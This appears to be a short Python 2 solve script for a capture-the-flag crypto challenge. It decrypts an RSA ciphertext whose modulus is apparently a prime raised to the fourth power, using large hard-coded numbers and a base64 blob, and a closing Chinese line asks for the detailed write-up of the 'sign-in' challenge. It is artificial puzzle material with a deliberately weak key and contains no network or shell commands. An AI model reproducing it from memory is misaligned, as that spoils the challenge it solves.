p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
e = 58134567416061346246424950552806959952164141873988197038339318172373514096258823300468791726051378264715940131129676561677588167620420173326653609778206847514019727947838555201787320799426605222230914672691109516799571428125187628867529996213312357571123877040878478311539048041218856094075106182505973331343540958942283689866478426396304208219428741602335233702611371265705949787097256178588070830596507292566654989658768800621743910199053418976671932555647943277486556407963532026611905155927444039372549162858720397597240249353233285982136361681173207583516599418613398071006829129512801831381836656333723750840780538831405624097443916290334296178873601780814920445215584052641885068719189673672829046322594471259980936592601952663772403134088200800288081609498310963150240614179242069838645027877593821748402909503021034768609296854733774416318828225610461884703369969948788082261611019699410587591866516317251057371710851269512597271573573054094547368524415495010346641070440768673619729280827372954003276250541274122907588219152496998450489865181536173702554116251973661212376735405818115479880334020160352217975358655472929210184877839964775337545502851880977049299029101466287659419446724781305689536816523774995178046989696610897508786776845460908137698543091418571263630383061605011820139755322231913029643701770497299157169690586232187419462594477116374977216427311975598620616618808494138669546120288334682865354702356192972496556372279363023366842805886601834278434406709218165445335977049796015123909789363819484954615665668979
n = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721L
d = gmpy2.invert(e, p**3 *(p-1))
print d
enc = '''YXmuOsaD1W4poLAG2wPrJ/nYZCkeOh2igCYKnZA6ecCeJadT6B3ZVTciPN6LJ8AcAsRXNnkC6+9P
NJPhmosSG5UGGbpIcg2JaZ1iA8Sm3fGiFacGvQsJOqqIWb01rjaQ3rDBKB331rrNo9QNOfMnjKr0
ejGG+dNObTtvnskICbYbNnSxMxLQF57H5JnWZ3LbbKQ493vmZzwvC6iH8blNPAp3dBlVzDqIAmxm
Ubk0OzFjPoHphD1oxHdzXyQNW+sLxVldrf9xcItq92jN5sqBYrG8wADIqY1/sqhTMZvkIYFMHqoM
QuiRSnVrCF2h2RtGDEayLo0evgXI/0W3YveyKCHViOnG6wypcBFm91ZWdjp3fVW/4DyxW6xu9hg/
NlXyRP6pT/OyQpcyTqKRuiXJLWgFUJI/8TRgyAjBLLgSd3U0N3VM8kewXw5j+fMUTCW9/Gy4iP8m
52Zabx/vEKdwdGZ0QyvgvAWGUFZ96EK0g1BM/LU9Tuu2R+VKcCSCprg283x6NfYxmU26KlQE6Zrr
jLmbCOe0327uaW9aDbLxZytPYIE5ZkzhSsD9JpQBKL30dCy3UKDbcuNgB6SrDddrbIuUd0/kLxuw
h6kTqNbC4NDrOT4WAuP4se8GGOK8Wz0dL6rE6FkzMnI4Qg501MTSNQZ4Bp7cNf6H9lTa/4DNOl0='''.decode('base64')
m = bytes_to_long(enc)
dec = pow(m, d, n)
print long_to_bytes(dec)

想看签到详细wp